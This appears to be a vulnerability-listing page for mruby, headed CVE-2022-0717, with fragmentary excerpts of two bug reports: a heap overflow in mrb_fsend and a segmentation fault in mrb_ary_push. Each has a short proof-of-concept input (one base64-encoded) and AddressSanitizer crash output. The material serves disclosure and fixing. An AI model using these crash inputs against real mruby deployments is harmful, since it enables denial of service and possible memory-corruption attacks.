CVE-2022-0717

Out-of-bounds Read in GitHub repository mruby/mruby prior to 3.2...

Heap-based Buffer Overflow in mruby/mruby

Description Heap Overflow occurs in mrbfsend. commit : 38b164ace7d6ae1c367883a3d67d7f559783faad Proof of Concept $ echo -ne "c2VuZCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5kIiwic2Vu ZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiCg==" | base64 -d poc ASAN ...

in mruby/mruby

Description SEGV on mrbarypush Proof of Concept 1.times 0 0,o:0 = and 0 Result /asan/mruby/bin/mruby crash.rb AddressSanitizer:DEADLYSIGNAL ================================================================= ==68494==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000011 pc 0x560ae5baa377 ...